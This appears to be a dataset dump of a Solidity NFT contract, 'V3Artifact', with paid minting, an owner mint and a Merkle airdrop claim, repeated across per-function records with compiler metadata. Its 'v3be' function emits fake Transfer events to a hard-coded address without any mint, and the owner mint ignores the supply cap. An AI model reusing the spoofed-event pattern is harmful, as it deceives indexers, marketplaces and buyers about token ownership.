function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), 'ERC721A: balance query for the zero address');
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(owner != address(0), 'ERC721A: number minted query for the zero address');
return uint256(_addressData[owner].numberMinted);
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
require(_exists(tokenId), 'ERC721A: owner query for nonexistent token');
for (uint256 curr = tokenId; ; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
revert('ERC721A: unable to determine the owner of token');
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), 'ERC721Metadata: URI query for nonexistent token');
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), '.json')) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return _baseURIPath;
}
function setBaseURI(string memory newPath) external onlyOwner {
_baseURIPath = newPath;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = V3Artifact.ownerOf(tokenId);
require(to != owner, 'ERC721A: approval to current owner');
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
'ERC721A: approve caller is not owner nor approved for all'
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), 'ERC721A: approved query for nonexistent token');
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), 'ERC721A: approve to caller');
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
function setPrice(uint256 newPrice) external {
require(msg.sender == _owner);
_price = newPrice;
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < currentIndex;
}
function mint_(address to, uint256 quantity) external {
require(msg.sender == _owner);
_safeMint(to, quantity);
}
function setMintIsLive(bool flag) external {
require(msg.sender == _owner);
_isMintLive = flag;
}
function mint(address to, uint256 quantity) external payable {
require(quantity <= 30 && quantity > 0);
require(_isMintLive, "mint must be live");
require(_price * quantity == msg.value);
// 1411 total artifacts - total claimed = total unclaimed artifacts. leave rest for reserved claimers.
uint256 totalUnclaimed = 1411 - _totalClaimed;
// only allow mints
require(currentIndex + quantity <= 5000 - totalUnclaimed);
payable(_owner).transfer(msg.value);
_safeMint(to, quantity);
}
// emits good v3bes
function v3be(uint256 amountV3bes) external onlyOwner {
for (uint i = 0 ;i<amountV3bes;i++) {
emit Transfer(address(0), 0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, 42069);
}
}
function claim(
address account,
uint256 amount,
bytes32[] calldata merkleProof
) public {
require(_isClaimOpen);
require(currentIndex + amount <= 5000);
// Verify the merkle proof.
bytes32 node = keccak256(abi.encodePacked(account, amount));
require(account == msg.sender);
require(!_hasWalletClaimed[msg.sender]);
require(
MerkleProof.verify(merkleProof, merkleRoot, node),
"MerkleDistributor: Invalid proof."
);
_safeMint(account, amount);
_hasWalletClaimed[msg.sender] = true;
// do your logic accordingly here
_totalClaimed += amount;
emit Claimed(account, amount);
}
function isClaimOpen() public view returns (bool) {
return _isClaimOpen;
}
function setClaimIsOpen(bool isOpen) external {
require(msg.sender == _owner);
_isClaimOpen = isOpen;
}
// checks if a wallet has claimed airdrop
function hasClaimed(address addr) public view returns (bool) {
return _hasWalletClaimed[addr];
}
function getTotalClaimed() public view returns(uint256) {
return _totalClaimed;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), 'ERC721A: mint to the zero address');
// We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.
require(!_exists(startTokenId), 'ERC721A: token already minted');
require(quantity > 0, 'ERC721A: quantity must be greater than 0');
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
_addressData[to].balance += uint128(quantity);
_addressData[to].numberMinted += uint128(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
for (uint256 i = 0; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
if (safe) {
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
updatedIndex++;
}
currentIndex = updatedIndex;
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(isApprovedOrOwner, 'ERC721A: transfer caller is not owner nor approved');
require(prevOwnership.addr == from, 'ERC721A: transfer from incorrect owner');
require(to != address(0), 'ERC721A: transfer to the zero address');
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
}
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous ownefr of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert('ERC721A: transfer to non ERC721Receiver implementer');
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
} | setApprovalForAll | function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), 'ERC721A: approve to caller');
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
| /**
* @dev See {IERC721-setApprovalForAll}.
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | {
"func_code_index": [
7035,
7322
]
} | 4,295 |
||||
V3Artifact | contracts/V3Artifact.sol | 0x5647717e536e4a6d3e6cde2d848fb6d933db7acb | Solidity | V3Artifact | contract V3Artifact is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
// merkle root for airdrop
bytes32 public immutable merkleRoot = 0xb89e5dc927d0daa49a33f00f520d9e2eb050c5b31a58f59a0f3bc02dfad66f7e;
uint256 internal currentIndex = 0;
// mint price
uint256 public _price = 69000000000000000;
// Token name
string private _name;
address private _owner = msg.sender;
bool public _isClaimOpen = true;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// has wallet claimed the airdrop
mapping(address => bool) public _hasWalletClaimed;
event Claimed(address account, uint256 amount);
string public _baseURIPath = 'ipfs://QmVLCj5rs43W46zM1D2LcE9RgnEwGsvV15YY974pjR3Ar3/';
uint256 public _totalClaimed = 0;
bool public _isMintLive = true;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return currentIndex;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), 'ERC721A: global index out of bounds');
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
require(index < balanceOf(owner), 'ERC721A: owner index out of bounds');
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
revert('ERC721A: unable to get token of owner by index');
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), 'ERC721A: balance query for the zero address');
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(owner != address(0), 'ERC721A: number minted query for the zero address');
return uint256(_addressData[owner].numberMinted);
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
require(_exists(tokenId), 'ERC721A: owner query for nonexistent token');
for (uint256 curr = tokenId; ; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
revert('ERC721A: unable to determine the owner of token');
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), 'ERC721Metadata: URI query for nonexistent token');
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), '.json')) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return _baseURIPath;
}
function setBaseURI(string memory newPath) external onlyOwner {
_baseURIPath = newPath;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = V3Artifact.ownerOf(tokenId);
require(to != owner, 'ERC721A: approval to current owner');
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
'ERC721A: approve caller is not owner nor approved for all'
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), 'ERC721A: approved query for nonexistent token');
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), 'ERC721A: approve to caller');
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
function setPrice(uint256 newPrice) external {
require(msg.sender == _owner);
_price = newPrice;
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < currentIndex;
}
function mint_(address to, uint256 quantity) external {
require(msg.sender == _owner);
_safeMint(to, quantity);
}
function setMintIsLive(bool flag) external {
require(msg.sender == _owner);
_isMintLive = flag;
}
function mint(address to, uint256 quantity) external payable {
require(quantity <= 30 && quantity > 0);
require(_isMintLive, "mint must be live");
require(_price * quantity == msg.value);
// 1411 total artifacts - total claimed = total unclaimed artifacts. leave rest for reserved claimers.
uint256 totalUnclaimed = 1411 - _totalClaimed;
// only allow mints
require(currentIndex + quantity <= 5000 - totalUnclaimed);
payable(_owner).transfer(msg.value);
_safeMint(to, quantity);
}
// emits good v3bes
function v3be(uint256 amountV3bes) external onlyOwner {
for (uint i = 0 ;i<amountV3bes;i++) {
emit Transfer(address(0), 0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, 42069);
}
}
function claim(
address account,
uint256 amount,
bytes32[] calldata merkleProof
) public {
require(_isClaimOpen);
require(currentIndex + amount <= 5000);
// Verify the merkle proof.
bytes32 node = keccak256(abi.encodePacked(account, amount));
require(account == msg.sender);
require(!_hasWalletClaimed[msg.sender]);
require(
MerkleProof.verify(merkleProof, merkleRoot, node),
"MerkleDistributor: Invalid proof."
);
_safeMint(account, amount);
_hasWalletClaimed[msg.sender] = true;
// do your logic accordingly here
_totalClaimed += amount;
emit Claimed(account, amount);
}
function isClaimOpen() public view returns (bool) {
return _isClaimOpen;
}
function setClaimIsOpen(bool isOpen) external {
require(msg.sender == _owner);
_isClaimOpen = isOpen;
}
// checks if a wallet has claimed airdrop
function hasClaimed(address addr) public view returns (bool) {
return _hasWalletClaimed[addr];
}
function getTotalClaimed() public view returns(uint256) {
return _totalClaimed;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), 'ERC721A: mint to the zero address');
// We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.
require(!_exists(startTokenId), 'ERC721A: token already minted');
require(quantity > 0, 'ERC721A: quantity must be greater than 0');
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
_addressData[to].balance += uint128(quantity);
_addressData[to].numberMinted += uint128(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
for (uint256 i = 0; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
if (safe) {
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
updatedIndex++;
}
currentIndex = updatedIndex;
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(isApprovedOrOwner, 'ERC721A: transfer caller is not owner nor approved');
require(prevOwnership.addr == from, 'ERC721A: transfer from incorrect owner');
require(to != address(0), 'ERC721A: transfer to the zero address');
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
}
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous ownefr of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert('ERC721A: transfer to non ERC721Receiver implementer');
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
} | isApprovedForAll | function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
| /**
* @dev See {IERC721-isApprovedForAll}.
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | {
"func_code_index": [
7384,
7550
]
} | 4,296 |
||||
V3Artifact | contracts/V3Artifact.sol | 0x5647717e536e4a6d3e6cde2d848fb6d933db7acb | Solidity | V3Artifact | contract V3Artifact is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
// merkle root for airdrop
bytes32 public immutable merkleRoot = 0xb89e5dc927d0daa49a33f00f520d9e2eb050c5b31a58f59a0f3bc02dfad66f7e;
uint256 internal currentIndex = 0;
// mint price
uint256 public _price = 69000000000000000;
// Token name
string private _name;
address private _owner = msg.sender;
bool public _isClaimOpen = true;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// has wallet claimed the airdrop
mapping(address => bool) public _hasWalletClaimed;
event Claimed(address account, uint256 amount);
string public _baseURIPath = 'ipfs://QmVLCj5rs43W46zM1D2LcE9RgnEwGsvV15YY974pjR3Ar3/';
uint256 public _totalClaimed = 0;
bool public _isMintLive = true;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return currentIndex;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), 'ERC721A: global index out of bounds');
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
require(index < balanceOf(owner), 'ERC721A: owner index out of bounds');
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
revert('ERC721A: unable to get token of owner by index');
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), 'ERC721A: balance query for the zero address');
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(owner != address(0), 'ERC721A: number minted query for the zero address');
return uint256(_addressData[owner].numberMinted);
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
require(_exists(tokenId), 'ERC721A: owner query for nonexistent token');
for (uint256 curr = tokenId; ; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
revert('ERC721A: unable to determine the owner of token');
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), 'ERC721Metadata: URI query for nonexistent token');
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), '.json')) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return _baseURIPath;
}
function setBaseURI(string memory newPath) external onlyOwner {
_baseURIPath = newPath;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = V3Artifact.ownerOf(tokenId);
require(to != owner, 'ERC721A: approval to current owner');
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
'ERC721A: approve caller is not owner nor approved for all'
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), 'ERC721A: approved query for nonexistent token');
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), 'ERC721A: approve to caller');
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
